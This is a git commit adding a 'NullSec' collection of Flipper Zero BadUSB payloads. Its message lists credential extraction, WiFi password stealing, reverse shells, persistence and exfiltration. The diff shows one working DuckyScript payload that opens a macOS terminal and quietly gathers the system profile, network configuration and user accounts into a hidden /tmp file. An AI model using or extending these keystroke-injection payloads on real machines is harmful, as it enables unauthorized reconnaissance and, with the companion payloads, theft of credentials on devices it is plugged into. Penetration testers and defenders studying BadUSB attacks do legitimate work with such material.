Add NullSec BadUSB payload collection

Added 25 BadUSB payloads for Flipper Zero:
- System reconnaissance (Windows/Linux/Mac)
- Credential extraction & WiFi password stealing
- Reverse shells (PowerShell & Bash)
- Defense evasion & persistence
- Data exfiltration (keylogger, webcam, clipboard)
- Harmless pranks

All payloads include proper headers and documentation.
Cross-platform support for Windows, Linux, and macOS.

BadUSB/NullSec-BadUSB/23_MacOSRecon.txt

@@ -0,0 +1,13 @@
+REM ========================================
+REM NullSec Flipper Zero BadUSB
+REM Payload: macOS System Recon
+REM Target: macOS
+REM ========================================
+DELAY 1000
+GUI SPACE
+DELAY 500
+STRING terminal
+ENTER
+DELAY 1000
+STRING echo "=== SYSTEM ===" > /tmp/.recon.txt; system_profiler SPSoftwareDataType >> /tmp/.recon.txt; echo "=== NETWORK ===" >> /tmp/.recon.txt; ifconfig >> /tmp/.recon.txt; echo "=== USERS ===" >> /tmp/.recon.txt; dscl . list /Users >> /tmp/.recon.txt; exit
+ENTER